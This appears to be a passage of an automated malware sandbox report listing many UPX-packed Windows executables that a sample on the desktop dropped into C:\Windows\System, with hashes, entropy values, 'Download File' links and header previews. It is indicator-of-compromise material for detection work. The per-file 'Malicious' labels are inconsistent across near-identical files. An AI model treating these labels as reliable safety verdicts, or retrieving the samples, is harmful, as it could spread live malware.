SHA-512:	E33577E0734C17C66653CF24039CEE0A93795DF49202C95681CBC5655725375B0906D7BD398449B43F66BC63152082E027EFC15D97824010C2ECD062B724CD6E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\YYCxOQh.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1280694
Entropy (8bit):	7.250173126816444
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG73:Lz071uv4BPMkibTIA5JnJ1N
MD5:	02A751D50F51869919F3A42C8AE58A3B
SHA1:	160A79F5B7B5CEF961FCEBA6D75D4B2097AAB30D
SHA-256:	1B02982785E4870E627B08CA628C96EC86C3D3574A1BE8393791F9850821299F
SHA-512:	BC0A003F1C9AA74CAEC89C64B5F99F543E7F1B6C9FF68CD31CF1B8A9E3ABD667F53F8CE5D367A091467CFA2D1882825E1716BDF4A005E3AC2E23DB8300ACBC84
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\YnfMwga.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1311307
Entropy (8bit):	7.227678631872789
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7GZ8i:Lz071uv4BPMkibTIA5JnJ1E
MD5:	FC7F268387E90C93CB0A8F0F4ECFC1B6
SHA1:	13E1A9250CAAE92A580FCB52BDB967A6A50463F1
SHA-256:	82E38F76B4521B1DF1FD5EDC487D2637CB8F82BD23FD6277517D6077D40612F3
SHA-512:	D6B38AE65CCD268DBD4A77D4191415F982B5542AFA93810BEC1AD197A0E3506FA5CC6CBD70502D47E1BE0D6C52864F14D559C4DF24D9A01A2E21C4F673D68E2F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZCyEzte.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1338378
Entropy (8bit):	7.208301021281986
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ihcz:Lz071uv4BPMkibTIA5JnJ1D
MD5:	B692E5173221706B0EA49E1FBD13567C
SHA1:	FC8042616232BEC63D5BAD3144CF1E1F875C02D9
SHA-256:	487E5FD91A21DF8AE297EF7F8E7337286B5536B2B634CE37334564C45D1EAC5A
SHA-512:	04F42C83619A89DE3F5C3005A004052952FC5381F12775A7F03F30408589F00C2EAE71D07D0EA086ED2C0888CFEDD922705384E9F665DE71511E9703FAB05D88
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZDeifCM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1307259
Entropy (8bit):	7.23060539704337
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG79H:Lz071uv4BPMkibTIA5JnJ1PH
MD5:	289DCC32CC1DD9D9C2AADB6A44715D14
SHA1:	34D327470B467E59005C8BB8525B3D95C26EEEF8
SHA-256:	4C62EF4E1CB101325ECF8545C2903262EAF35F60ACF8C65F2DC2FA1C59A2C07B
SHA-512:	33773048C375D6BD47836A9331F506DEF1DB7043B2D5C1C8C89356603B7E84AAC4A3E81785EB968D5171196551E5F1EDBF4B2A7A5B5C653BEEB95E88481DC9DA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZFvVqBc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1345715
Entropy (8bit):	7.203143529410979
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG71i:Lz071uv4BPMkibTIA5JnJ1Xi
MD5:	A6CE67F750734B78473F8F4A03E37ED5
SHA1:	83287B16FCBBE45B25D3053DBEA68D03D7FE0D97
SHA-256:	05D7E463975A717A67031E76D577292F2AD87E21FDF01E6D461284F5D77B96C0
SHA-512:	AF27B29DEB67BB94A544D0053E01A0C8BAC0B2358AC71E0D24E15DD08568B3B158538A38F78D5F9F4CEBF7D7C8610FC9D2B4FAFC503FA9BE55595451D495B598
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZPBkGsL.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1353305
Entropy (8bit):	7.197861792661122
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7aV+G:Lz071uv4BPMkibTIA5JnJ1ML
MD5:	37872788EF4FE1FE78418D2D7A5C6B1E
SHA1:	4B8DE79BFDC7E7CAD6D21F2A99CA330A9BFD80A4
SHA-256:	E86D67C191F0D4E05B1900B88BF797B5D76332CEE6446D64CBC96106E8FAE93E
SHA-512:	D7BB71C01051AAE5E93BC885B61331CF15AF7F8C1A74B5383722DFC9BA716B8258749D985D5296C095DA7C212523A8780F108708BC02C5913CEF4899C613B98B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZTSJHKb.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1271080
Entropy (8bit):	7.2573729344915785
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7w:Lz071uv4BPMkibTIA5JnJ1y
MD5:	A9601D3425E381ABD2AFFB16EF43E76B
SHA1:	FF8852D2AD4B859A548ACE55DABBF6DBA9F2ABC7
SHA-256:	1E97F6FB87235FDABB7D1BE044AFD91C35AC5DA979CB9397A60A23721DEA809B
SHA-512:	1EF2B0995B3AFE184B2FA200876F2ED3A10CBFFCC6EBC180104C18CC5DA3986A13A5505D6308617739EC49D54F20AE51117FA923354B5D201CCC1A88FFA3F228
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZXNyiNu.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1329017
Entropy (8bit):	7.2149571655505556
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7mSrr:Lz071uv4BPMkibTIA5JnJ1Pr
MD5:	5C9D620123C46ED94A2BC21C558BE504
SHA1:	7AD2A22CAAB3B3FB7D89A62A984A2AD7498EAF29
SHA-256:	B6C3C8C10032281AD39B6130296F96DCECF5DD7A62CFB1A533EBFE0C0419BE77
SHA-512:	EBD8B3279E569D36A6B39A97251055380446CB66278BD6697446EE9D5216AE57624533CC511C5A9742CB939D485116C95D8DBC16607C19A5756510A1F4C62E86
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZlvPlxy.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1321174
Entropy (8bit):	7.220552776486665
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7SxMh:Lz071uv4BPMkibTIA5JnJ1yMh
MD5:	E4BB0CD65C5E8A9521EDCB8D50D453B8
SHA1:	09577113F15DA4ED7756DD0D4B988286CCEA004E
SHA-256:	B34FA9795EDCA51F15673DE343CE6FC25E522BDC462717657C3BC7A986483AF9
SHA-512:	5CFF6378878AF1A06786840886F746FCCC54168A8BDFC994B30B5069AB338874B836A08866E183B0498A6E0987D26C276CEFADDF46A12426ADFF9F865DCD302A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ZohDODH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1283730
Entropy (8bit):	7.247908524648056
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7r:Lz071uv4BPMkibTIA5JnJ19
MD5:	0C75EC573CECCA63A4C5AA7F16A1197D
SHA1:	6C20C717562E77330621F9E84C586FD5E1941AAA
SHA-256:	C357F2D3873A105A39ED50D8CF3DFCCBA0C4E59147F2FD0D9647840B1B2C618D
SHA-512:	DF0D344A71A153B051F344CCB4C0F79450FCA9F2C8155B583D81ECE0D54C97430BBCA2237DAAC48715975ABD4671668B4B2E426AD41BE714180BAEF6A58A6171
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\aBqatWR.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1322692
Entropy (8bit):	7.219469632917206
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7SQx:Lz071uv4BPMkibTIA5JnJ1f
MD5:	2550430F119AE465A76A6E0F136ABFED
SHA1:	63959A7104D2864346AA793F9168E3154F95FE2C
SHA-256:	4F5070B8E56097D8D4CB182B3C8CD30707D7570F893667AC6615CFFF544E0D2F
SHA-512:	C6BF8589696801451F3A070F6BD5A7E7A9EC6FDFAE92535D1E64D6C55BE4F16159D77A142AA57B8A13A6F795A42C6E9DA03E5F069EFEE30CA4474F64EC48943B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\aFbtfKK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1347233
Entropy (8bit):	7.2020736362898
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7Rd1DkZ:Lz071uv4BPMkibTIA5JnJ1sZ
MD5:	8E3A279AE7F88B52F5375D3B887C503A
SHA1:	622511290E090641762D71B1A3E3ADFBE1007CAE
SHA-256:	443F2B59AD2C2EF5D15AB819435F79E39CF08AC7837583A8635F927B5BE17C0F
SHA-512:	D66F564530E87336624F7B6BF7C17AA6F7CDF66B3D5D02E7CF7FAE1E4E983180C8E7601978519888C05D0185C84D0C27871EC4232832FBCFF15229ECFE8825B4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\aFpkhGM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1333065
Entropy (8bit):	7.2120814236244986
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7jF:Lz071uv4BPMkibTIA5JnJ1v
MD5:	83EFA87CF12B1F1DE01C6EB26E33B680
SHA1:	17C80C1C0DE544158C8BD264E3C002D5578AF5B8
SHA-256:	070B612B2DCD6C24AE46A22BE90EDB24D5D561C50AB0C67738DB7C3957886550
SHA-512:	6D9B71E7E6DD40A5DE512D25EB8FB7ABB9E001F75C8D3D38A97A4F00BB08E9458396BBD5ADE6359B2662042DF806904061BD24FCBE168BE31B5BC7AFFE0241C5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\aIuDozC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1363172
Entropy (8bit):	7.191028726892367
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7sSc:Lz071uv4BPMkibTIA5JnJ1OSc
MD5:	5E8409B848920FABC66665D0B4A54CFA
SHA1:	8CCA505FC2961DB37171CF9F9255D40576DD0F7A
SHA-256:	CA338EC3585DA5B1C23F37FABD301F9F186F04FD94DF9B74AE52981194A3A539
SHA-512:	97619A928605527F7E3E00B0901B9F73226DD57B1BCCB6C13B58B9CA10294122E446BC8FB22E1A88CF956F5B7213C614C3476DA23D055D21D526782717EC32C2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ajEytdP.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1283224
Entropy (8bit):	7.248294332889105
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7A:Lz071uv4BPMkibTIA5JnJ1O
MD5:	DC0EC8745B836E812FF538780E4315FF
SHA1:	E3D1DCADA6C0F82FDD180F21904B2B9889E8A327
SHA-256:	A36ACF4B93FBF709FE097AFF735C9B99B4974A73D542705F2D6FA061378644E3
SHA-512:	16BEBE714CF536FA105B2485CE5B831285DADFD1DEA8C5EAD18464D62FFF074116961BDC0FD34466F0A435FC4FE4B056381C093523584170366DEB80EACA8C35
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bFsdWPU.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1298657
Entropy (8bit):	7.236889935693566
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7FNtO+:Lz071uv4BPMkibTIA5JnJ1Bx
MD5:	E3E77FD9F12C3A79506167CFB18A70EF
SHA1:	2F2AA8903868762228E01990C058258E174B13A7
SHA-256:	352EC0C03D486F484C3B22DDDDDF3B9B21C6C70CB4DE14B0065D65FB48CFB18F
SHA-512:	41EA9E044C7EE2A041D91C28CCDC44F299C0C766881DCCA9A3F8EE50BD4B003024EEEE10AB5F06CB26803A53B9CD7461A273BFD5C11CFE4969A25368953B20CE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bJVoOik.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1263743
Entropy (8bit):	7.2629121499428155
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7n:Lz071uv4BPMkibTIA5JnJ1B
MD5:	71BCC81AD8565317CDCD7E08C671D76F
SHA1:	89110C590A6E3857D7A1DE69F8D6586917F20009
SHA-256:	DC53B034446030A92BF6045D1E5AE48535B49D8B81BBDC1486D8934E7971BF0F
SHA-512:	7B0C1B603DF46C1AD2ACBCE83B18B44F1B8BFC8E6FB1CC80CD349A8AA05A775E3A24FD0F7E06C6E5FC21EFBE660FD3DB9665BD66A60AB3B3EF56E22601232C9D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\blOLvcj.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1362413
Entropy (8bit):	7.191544666946369
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7SZP3MeQZg:Lz071uv4BPMkibTIA5JnJ1w
MD5:	B866CE6A48239B7BD25BF9F40494F5E9
SHA1:	665552C0E0C52B22A78DA3E5F6FB35E2059D9F0F
SHA-256:	DB5663E614A84F39164DC69115101D133D52A24C602F908C4E7AF5E653E0D857
SHA-512:	A7D73D9C7599B4164D4B283125339200A377B04B3EF52E77A0174AE8A9E6C47FF2715C05638AE75F8B40D92305934BD77C619DAC07FD80122167B591A73474E1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bpCJdvZ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286007
Entropy (8bit):	7.246209722319152
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG74:Lz071uv4BPMkibTIA5JnJ12
MD5:	B12B5253CD1866DACD5C864DC28DBB8E
SHA1:	994877664517C12492E9E344B9EA06248A52279C
SHA-256:	9B4E401F465C29FCFFDEE3EDBB02E66AC1DCA2F9D98544580D0912084F063EC7
SHA-512:	302F819B71832A4CF29E4D53DA44517D7E657032987BA6AC76B20A85FE7AEA34E9D10AA53369CEDEEA62A2B0D3F93320F83EE443913B6FB535906F9922091E48
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\brplcms.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1341667
Entropy (8bit):	7.205974725427941
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7xKn:Lz071uv4BPMkibTIA5JnJ1O
MD5:	849FD17F5493BDEC3A94106D4EBA1E46
SHA1:	52967579C1FBBA03F7901AB49AD273F7494E3A59
SHA-256:	EE29CD525BE4209CE71B5A8E6EC6285BC9D164EC711A40BBAB36F8B80FB1972A
SHA-512:	4B144DE72E7ADAC507CB7669AD45A9B0B91FD5817DC811A78C453792F95613C3764B7DC86D7193CD01A568BFE26F589643BB3D404BB0A0D32FE3B1E9A1507B19
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bsgTRXG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1320415
Entropy (8bit):	7.221109130923033
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ZVe:Lz071uv4BPMkibTIA5JnJ1o
MD5:	67212CA563525D993EF08D8F2057617D
SHA1:	93D3602169FC57DE805FB30D013B2C3E68092BBC
SHA-256:	DC1D516961A0A9844F0B8D89E894FECC996F25272D70B4C80FCE09038CE7B85B
SHA-512:	5F8DFEDB5839B1E589147638A1D37760B3FC4E36489731FAC220D7564A9E578C3C288FB76C55FC7046D9E378E04C64398E8BC1A9125849E54C8B07C0F63B368A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bxBimDh.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1343185
Entropy (8bit):	7.204919357869992
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7h4:Lz071uv4BPMkibTIA5JnJ1Y
MD5:	281922E8926DF86A01235BE03E6CCB92
SHA1:	B82F0F318DA68CA8CEE2D9AD4C73550A7BF6B5C8
SHA-256:	8C73E14F6524B6903F5DD7067C55C24BB50D4372699BE60B9965E5DFDF465D0E
SHA-512:	1C76A471D42D880C16125030D9569725383B7AA8925478AAA25DEAE892576C1C19395B032E650F6F11BEB1F1DC824D3F012D31305D1FF57EF5EFC5913954F53F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\bymvMyH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1274369
Entropy (8bit):	7.254903889637676
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7I:Lz071uv4BPMkibTIA5JnJ1S
MD5:	04AF1CA371E286AF8F52AC80EB2337EC
SHA1:	BCF87126328ADFB8A67A426C69EA5D7740FED2A2
SHA-256:	E70472A7B52DC53E67AF5397E867147CF847B07928D85251A0A2DE717452C361
